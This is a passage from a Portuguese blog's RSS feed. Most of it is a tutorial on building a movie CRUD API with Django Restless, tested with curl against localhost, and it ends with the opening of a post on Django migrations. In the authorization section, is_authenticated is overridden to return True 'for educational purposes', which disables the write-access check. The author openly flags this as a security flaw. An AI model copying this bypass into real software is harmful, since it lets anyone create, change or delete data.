    url&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&apos;movies/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; include&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;MovieResource&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Aquele &lt;code class=&quot;language-text&quot;&gt;.urls()&lt;/code&gt; é uma das facilidades que o &lt;code class=&quot;language-text&quot;&gt;DjangoResource&lt;/code&gt; oferece. Caso você esteja trabalhando
com algum outro &lt;em&gt;framework&lt;/em&gt;, você pode estender o comportamento de &lt;code class=&quot;language-text&quot;&gt;Resource&lt;/code&gt; e resolver o roteamento
manualmente.&lt;/p&gt;
&lt;p&gt;Pronto! O &lt;em&gt;endpoint&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;movies/&lt;/code&gt; já está respondendo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -X GET http://localhost:8000/movies/ | json_pp

{
   &quot;objects&quot; : [
      {
         &quot;description&quot; : &quot;The Rebel Alliance makes a risky move to steal the plans for the Death Star, setting up the epic saga to follow. (133 mins.)&quot;,
         &quot;id&quot; : &quot;7e383f9c-5dc4-4b0d-9864-71e05a5d271b&quot;,
         &quot;title&quot; : &quot;Rogue One&quot;
      },
      (...)
   ]
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Criação e autorização&lt;/h2&gt;
&lt;p&gt;Para adicionar um filme, faremos um POST em &lt;code class=&quot;language-text&quot;&gt;movies/&lt;/code&gt;, para isso, precisamos adicionar um método &lt;code class=&quot;language-text&quot;&gt;create&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# movies/api.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MovieResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DjangoResource&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            title&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            description&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mais uma vez o &lt;em&gt;Restless&lt;/em&gt; não introspecta o modelo, logo, é necessário fazer a validação e criação do objeto
em banco &quot;na mão&quot;.&lt;/p&gt;
&lt;p&gt;Vamos testar se o comportamento é o esperado:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -X POST -H &quot;Content-Type: application/json&quot; -d &apos;{&quot;title&quot;: &quot;just a test&quot;, &quot;description&quot;: &quot;foo bar&quot;}&apos; http://localhost:8000/movies/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Provavelmente retornará um &lt;em&gt;exception&lt;/em&gt; dizendo que o acesso não foi autorizado. O &lt;em&gt;Restless&lt;/em&gt; por padrão espera
que todo o &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;PUT&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;DELETE&lt;/code&gt; seja realizado através de uma requisição autenticada. Para isso, antes
de executar cada verbo, ele consulta o método &lt;code class=&quot;language-text&quot;&gt;is_authenticated&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4e027daa42357f668194d325afbcf154/b4294/deathstar.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 52.60416666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQADBP/EABYBAQEBAAAAAAAAAAAAAAAAAAIBA//aAAwDAQACEAMQAAABL7idqX4eWf8A/8QAGRAAAwADAAAAAAAAAAAAAAAAAAECAxET/9oACAEBAAEFAsThPtJD2iR0z//EABYRAAMAAAAAAAAAAAAAAAAAAAIQMf/aAAgBAwEBPwEov//EABURAQEAAAAAAAAAAAAAAAAAAAEQ/9oACAECAQE/ASf/xAAbEAACAgMBAAAAAAAAAAAAAAAAAgERECEiMf/aAAgBAQAGPwLpbIVdQXn0/8QAFxABAQEBAAAAAAAAAAAAAAAAAQAxEf/aAAgBAQABPyFRUQDw0g6HWNsdujV//9oADAMBAAIAAwAAABDz/wD/xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAIAQMBAT8Q0SP/xAAVEQEBAAAAAAAAAAAAAAAAAAAQMf/aAAgBAgEBPxCj/8QAGRABAAMBAQAAAAAAAAAAAAAAAQAhMRFB/9oACAEBAAE/EERA1XKJuRwHBYnQLObGiJVDX2F4AAMZ/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;is_authenticated retornando True é pior que o problema de segurança na Estrela da Morte (movieweb.com)&amp;quot;&quot;
        title=&quot;is_authenticated retornando True é pior que o problema de segurança na Estrela da Morte (movieweb.com)&quot;
        src=&quot;/static/4e027daa42357f668194d325afbcf154/b4294/deathstar.jpg&quot;
        srcset=&quot;/static/4e027daa42357f668194d325afbcf154/7809d/deathstar.jpg 192w,
/static/4e027daa42357f668194d325afbcf154/4ecad/deathstar.jpg 384w,
/static/4e027daa42357f668194d325afbcf154/b4294/deathstar.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;is_authenticated retornando True é pior que o problema de segurança na Estrela da Morte (movieweb.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Para fins educacionais, vamos informar à biblioteca que todas as requisições são aceitas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# movies/api.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MovieResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DjangoResource&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            title&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            description&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;is_authenticated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mais uma vez executamos o &lt;em&gt;POST&lt;/em&gt; via &lt;code class=&quot;language-text&quot;&gt;curl&lt;/code&gt;, e &lt;em&gt;voilà&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;just a test&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;foo bar&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Verbos por ID&lt;/h2&gt;
&lt;p&gt;Já listamos e criamos novos filmes. Como fazemos para ver os detalhes de um filme através do
seu &lt;em&gt;ID&lt;/em&gt;? Simples! O método &lt;code class=&quot;language-text&quot;&gt;detail&lt;/code&gt; resolve essa para a gente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# movies/api.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shortcuts &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; get_object_or_404

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MovieResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DjangoResource&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;detail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; get_object_or_404&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Movie&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pk&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Um &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; para &lt;code class=&quot;language-text&quot;&gt;movies/{id}&lt;/code&gt; retornará os detalhes do recurso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -X GET http://localhost:8000/movies/7e383f9c-5dc4-4b0d-9864-71e05a5d271b/

{
  &quot;description&quot;: &quot;The Rebel Alliance makes a risky move to steal the plans for the Death Star, setting up the epic saga to follow. (133 mins.)&quot;,
  &quot;id&quot;: &quot;7e383f9c-5dc4-4b0d-9864-71e05a5d271b&quot;,
  &quot;title&quot;: &quot;Rogue One&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que o &lt;code class=&quot;language-text&quot;&gt;DjangoResource&lt;/code&gt; resolveu a passagem do parâmetro &lt;code class=&quot;language-text&quot;&gt;pk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para finalizar, vamos criar os métodos &lt;code class=&quot;language-text&quot;&gt;update&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;delete&lt;/code&gt;, que serão responsáveis
por atualizar e remover o recurso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# movies/api.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MovieResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DjangoResource&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;detail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; get_object_or_404&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Movie&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pk&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        movie &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;detail&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;save&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; movie

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        movie &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;detail&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;delete&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Assim como o método &lt;code class=&quot;language-text&quot;&gt;create&lt;/code&gt;, não há nenhuma &quot;mágica&quot; resolvendo a operação para a gente.
Precisamos explicitamente realizar a atualização e remoção do dado através do &lt;em&gt;ORM&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Agora somos capazes de atualizar:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -X PUT -H &quot;Content-Type: application/json&quot; -d &apos;{&quot;title&quot;: &quot;Zombieland&quot;, &quot;description&quot;: &quot;So much fun&quot;}&apos; http://localhost:8000/movies/bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4/

{
  &quot;title&quot;: &quot;Zombieland&quot;,
  &quot;description&quot;: &quot;So much fun&quot;,
  &quot;id&quot;: &quot;bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E remover um filme através da API:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -X DELETE http://localhost:8000/movies/bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Gosto bastante do &lt;em&gt;Restless&lt;/em&gt; pela sua filosofia de manter-se simples. Mas nem tudo são rosas!
A falta de autorização, &lt;em&gt;HATEOAS&lt;/em&gt; e saídas em outros formatos (como &lt;em&gt;XML&lt;/em&gt;, por exemplo)
podem ser argumentos decisivos para a escolha de uma biblioteca mais completa.&lt;/p&gt;
&lt;p&gt;Eu costumo utilizar o &lt;em&gt;Restless&lt;/em&gt; em projetos muito específicos, onde sei que a &lt;em&gt;API&lt;/em&gt; será sempre
&lt;em&gt;JSON&lt;/em&gt;, e integrações com o &lt;em&gt;ORM&lt;/em&gt; trarão mais dores de cabeça do que soluções (em um cenário
onde há interação com bancos &lt;em&gt;NoSQL&lt;/em&gt;, o &lt;em&gt;Restless&lt;/em&gt; se mostra uma ferramenta muito útil).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kplaube/post-django-restless&quot; title=&quot;Veja o exemplo completo no Github&quot;&gt;Confira o exemplo desse &lt;em&gt;post&lt;/em&gt; no Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[As built-in migrations do Django]]></title><description><![CDATA[Quem usa o Django há mais tempo já ouviu
falar do South. Famosa biblioteca
responsável por trazer o comportamento de migrations
para o…]]></description><link>https://klauslaube.com.br/2016/10/18/as-built-in-migrations-do-django.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/10/18/as-built-in-migrations-do-django.html</guid><pubDate>Tue, 18 Oct 2016 12:43:00 GMT</pubDate><content:encoded>&lt;p&gt;Quem usa o &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; há mais tempo já ouviu
falar do &lt;a href=&quot;/tag/south.html&quot; title=&quot;Leia mais sobre South&quot;&gt;&lt;em&gt;South&lt;/em&gt;&lt;/a&gt;. Famosa biblioteca
responsável por trazer o comportamento de &lt;a href=&quot;/tag/migrations.html&quot; title=&quot;Leia mais sobre Migrations&quot;&gt;&lt;em&gt;migrations&lt;/em&gt;&lt;/a&gt;
para o &lt;em&gt;Django&lt;/em&gt;. Sem dúvida impactou inúmeros projetos e transformou o processo de
&lt;em&gt;deploy&lt;/em&gt; de toda a comunidade envolvida com o &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nas versões mais recentes do &lt;em&gt;Django&lt;/em&gt;, contamos com um &lt;em&gt;engine&lt;/em&gt; &lt;em&gt;built-in&lt;/em&gt;,
muito prático, e que traz alguns conceitos que ficaram famosos com o &lt;em&gt;South&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Vamos nessa dar adeus ao &lt;code class=&quot;language-text&quot;&gt;syncdb&lt;/code&gt;, e começar a nossa aventura com o &lt;code class=&quot;language-text&quot;&gt;migrate&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;O que são migrations?&lt;/h2&gt;
&lt;p&gt;Diretamente da documentação do &lt;em&gt;South&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) são uma forma de alterar o schema do seu banco de dados de uma versão para outra.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Você mantém em seu projeto uma série de instruções que modificam o &lt;em&gt;database&lt;/em&gt;
de acordo com a evolução do projeto. Quando uma nova pessoa fizer parte do time,
